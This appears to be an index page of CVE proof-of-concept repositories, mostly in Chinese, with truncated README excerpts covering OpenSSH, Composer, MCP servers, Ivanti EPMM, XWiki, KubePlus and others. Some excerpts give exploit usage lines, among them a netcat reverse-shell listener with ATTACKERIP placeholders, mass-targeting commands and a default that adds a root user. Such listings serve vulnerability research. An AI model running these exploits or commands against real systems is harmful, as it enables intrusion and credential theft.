telnetd_CVE-2026-24061_tester

Telnetd CVE-2026-24061 测试脚本 一个用于检测 telnetd 服务器是否容易受到通过 NEW-ENVIRON telnet 选项进行环境变量注入攻击的 Python 安全测试工具。 概述 该脚本用于测试 telnetd 服务器是否存在 CVE-2026-24061 漏洞，该漏洞允许攻击者通过 NEW-ENVIRON telnet 选项注入环境变量。如果服务器未正确处理这些环境变量，则可能容易受到命令注入或身份验证绕过攻击。 该脚本提供详细、彩色编码的输出，包含逐步进度、全面的错误处理以及最终摘要，其中包括测试结果、风险评估和影响分析。 CVE-2026-24061...

cve-2025-61984-poc

CVE-2025-61984 PoC 这是一个概念验证，利用换行符来混淆 OpenSSH 10.1 的 ProxyCommand。完整文章。 如何运行 创建一个包含以下内容的 .ssh/config： Host .example.com ProxyCommand some-command %r@%h:%p （命令内容无关紧要，只需在参数中某处包含一个未加引号的 %r 即可。） 然后运行（针对 bash）： $ git clone --recursive https://github.com/dgl/cve-2025-61984-poc 或者如果使用 fish 作为 $SHELL： git...

CVE-2021-24307-all-in-one-seo-pack-admin-rce

Admin PHP unserialization RCE in All in one SEO pack CVE-2021-24307 Simple PoC of an admin authenticated RCE in AISEO = 4.1.0.1 provided as an example. Full write-up here: https://darkpills.com/php-unserialize-write-up-with-admin-rce-in-all-in-one-seo-pack-cve-2021-24307/ Usage: php exploit.php u...

cve-2026-40176-cve-2026-40261

CVE-2026-40176 Composer Perforce 仓库远程代码执行（RCE） 📋 摘要 Composer 的 Perforce 仓库驱动程序中存在命令注入漏洞，由于仓库 URL 处理过程中输入验证不足，可导致远程代码执行（RCE）。 🎯 漏洞详情 属性| 值 ---|--- CVE ID| CVE-2026-40176 受影响版本| Composer getUser . ' '; if $useClient $p4Command .= '-c ' . $this-getClient . ' '; $p4Command .= '-p ' . $this-getPort . ...

CVE-2026-23744-POC

CVE-2026-23744 — MCP 服务器未授权远程代码执行 由d3vn0mi 提供的概念验证漏洞利用 概述 CVE-2026-23744 是暴露在 6274 端口上的 MCP 兼容服务器中存在的一个未授权远程代码执行（RCE）漏洞。/api/mcp/connect 端点接受一个 serverConfig 对象，该对象允许调用者指定任意操作系统命令及其参数——无需任何身份验证或授权检查。 能够通过网络访问该服务的攻击者可以以运行 MCP 服务器的用户身份执行任意命令。 详情| 值 ---|--- CVE ID| CVE-2026-23744 类型| 未授权远程代码执行 端点| PO...

CVE-2026-23520

CVE-2026-23520 MCP API 远程命令执行（RCE）PoC 📌 概述 本仓库包含一个针对远程命令执行（RCE）漏洞的概念验证（PoC）利用程序，该漏洞影响暴露易受攻击的 MCP API 端点（通常为 /api/mcp/connect）的应用程序。 该漏洞允许通过精心构造的 API 请求执行系统级命令。 🚀 快速开始 1. 启动监听器 nc -lvnp ATTACKERPORT 2. 运行利用程序 python3 exploit.py TARGET --lhost ATTACKERIP --lport ATTACKERPORT 📥 使用方法 python3...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — Análisis de Código Cockpit: Ejecución Remota de Código No Autenticada mediante Inyección de Argumentos de Línea de Comandos SSH Campo| Detalle ---|--- ID CVE| CVE-2026-4631 GHSA| GHSA-m4gv-x78h-3427 Severidad| Crítica CVSS 9.8 Versiones afectadas| Cockpit 327 – 359 Corregido en|...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 centos8可用版本 基于修改而来 https://github.com/berdav/CVE-2021-4034/tree/main/dry-run 使用方法 修改pwnkit-dry-run.c中system函数执行自定义执行命令 （默认为添加r00t用户，密码为XHSZWCPU6Nvobe） make进行编译 上传到目标机器运行...

CVE-2023-51073

CVE-2023-51073 - Buffalo LS210D 版本 1.78-0.03 固件更新服务器验证漏洞 Christopher J. Pace 和 Ryan Miller Buffalo LS210D 是一款面向小型企业和个人设计及销售的网络附加存储（NAS）服务器。LS210D 具备远程下载并安装固件更新的功能。LS210D 在此功能中存在“中间人”（AitM）攻击漏洞。控制受害者上游连接的攻击者将能够为更新服务器提供错误的 DNS 名称，或将来自更新服务器的流量重定向到恶意服务器。这可能导致以 root 用户身份执行命令，或直接安装恶意软件。 文件...

CVE-2025-63579

CVE-2025-63579 未经授权访问京瓷 Command Center RX 打印机“地址簿”功能中输入的所有用户名和密码。 描述 未经授权使用京瓷打印机，可导出京瓷地址簿中存储的所有信息。利用此漏洞可绕过对传入数据进行加密的安全措施，使加密数据能够被解密。密码和其他敏感信息可被获取。 受影响版本 TASKalfa 2552ci TASKalfa 3252ci TASKalfa 2553ci TASKalfa 3253ci TASKalfa 3554ci TASKalfa 4052ci TASKalfa 5052ci TASKalfa 6052ci TASKalfa 7052ci...

CVE-2026-29955

KubePlus KubeconfigGenerator 命令注入漏洞 该漏洞存在于 KubePlus 的 kubeconfiggenerator 组件中，允许具有 HTTP 接口访问权限的攻击者通过 chartName 参数注入 shell 命令，以容器内 root 身份执行任意代码，并窃取具有 cluster-admin 权限的 ServiceAccount Token。推荐的 CWE 分类：CWE-78（操作系统命令注入）。 概述 KubePlus kubeconfiggenerator 组件中的 /registercrd 端点存在命令注入漏洞。该组件使用带 shell=True...

CVE-2026-29954

KubePlus ResourceComposition ChartURL SSRF + 请求头注入 该漏洞存在于 KubePlus 的 ResourceComposition 资源处理组件中，允许具有 Provider 权限的攻击者通过构造恶意的 chartURL 参数，利用 SSRF 访问内部服务，并通过 wget 命令注入任意 HTTP 请求头。这使得攻击者能够访问需要特定请求头的云元数据服务（例如，GCP 需要 Metadata-Flavor: Google 请求头），从而窃取 IAM 凭证。建议上报的 CWE 编号：CWE-918（服务端请求伪造）。 概述 KubePlus 的...

exploit-CVE-2026-2670

exploit-CVE-2026-2670 CVE-2026-2670 – Advantech WISE-6610 命令注入 PoC 概念验证漏洞利用程序，演示 Advantech WISE-6610 工业蜂窝路由器中的命令注入漏洞。 该漏洞存在于 /cgi-bin/luci/admin/openvpnapply 端点中，允许已认证的攻击者 执行任意系统命令。 📌 漏洞概述 WISE-6610 Web 界面在处理 OpenVPN 配置删除时，未正确清理 deletefile 参数。 具有有效凭据的攻击者可以使用管道符（|）后跟命令以及终止用的 echo$IFS 序列来注入 shell...

CVE-2026-1281-CVE-2026-1340-Ivanti-EPMM-RCE

Ivanti EPMM 预认证 RCE 模拟靶标 一个简单的演示应用，用于展示如何复现 Ivanti EPMM 预认证 RCE 漏洞（CVE-2026-1281 / CVE-2026-1340），仅供教育和安全研究目的使用。 漏洞概述 该漏洞利用了 Bash 算术展开（arithmetic expansion）的行为。当在算术上下文中使用一个包含对其他变量引用的变量时，如果被引用的变量包含带有命令替换的数组索引，则该命令会被执行。 利用链 1. 请求包含 st=theValue （字面字符串 "theValue" 并带有填充） 2. 请求包含...

CVE-2026-39866

CVE-2026-39866 — 通过未加引号的 workflow dispatch 输入实现命令注入 GitHub Actions workflow dispatch 命令注入的概念验证实验室 目的 CVE-2026-39866 是 Lawnchair 的 GitHub Actions 发布工作流中的一个命令注入漏洞。releaseupdate.yml 文件将用户输入直接传递给 bash 而未加引号，因此攻击者可以注入命令。本仓库并排运行易受攻击版本和已修补版本。 快速事实 字段| 值 ---|--- CVE ID| CVE-2026-39866 GHSA|...

CVE-2025-24893

信息 该 PoC 首先测试 SSTI，如果可行则继续。 它会进入循环，并允许你远程执行命令。 目前 exec 和 shell 命令功能相同。 使用方法 连接 python3 poc.py 示例 将 debug 设置为 False（默认） python3 poc.py http://127.0.0.1:8080 Targeting http://127.0.0.1:8080 + Target is vulnerable! xwiki-shell help Documented commands type help :...

CVE-2021-44521

CVE-2021-44521 CVE-2021-44521 的自动化 PoC 致谢原始 PoC：https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ 环境要求 Cassandra-driver pip3 install cassandra-driver 使用方法 python3 poc.py 请注意，目前一次只能执行一条命令，也不能使用管道符。 因此请依次运行 pyhon3 poc.py "curl...

CVE-2026-21962

CVE-2026-21962 CVE-2026-21962 EXAMPLE 单目标 python3 CVE-2026-21962.py http://target:7001 -c "whoami" 批量 + 默认 whoami python3 CVE-2026-21962.py -f url.txt 批量 + 自定义命令 + 改线程数 python3 CVE-2026-21962.py -f url.txt -c "id" --threads 20 -o result.txt 反弹 shell 示例 python3 CVE-2026-21962.py -f targets.txt -c...

CVE-2026-96659

A flaw was found in Foreman. This vulnerability allows an authenticated user with low-level Viewer permissions to cause unauthorized information disclosure by submitting requests to template preview endpoints. By exploiting this issue, the user can access sensitive data, such as host root...

CVE-2026-12540

A flaw was found in Foreman. A command injection vulnerability exists in the foreman-rake errors:fetchlog task. The requestid parameter is passed to an underlying system command typically grep without adequate shell neutralization. While the task is intended to fetch specific log entries, an...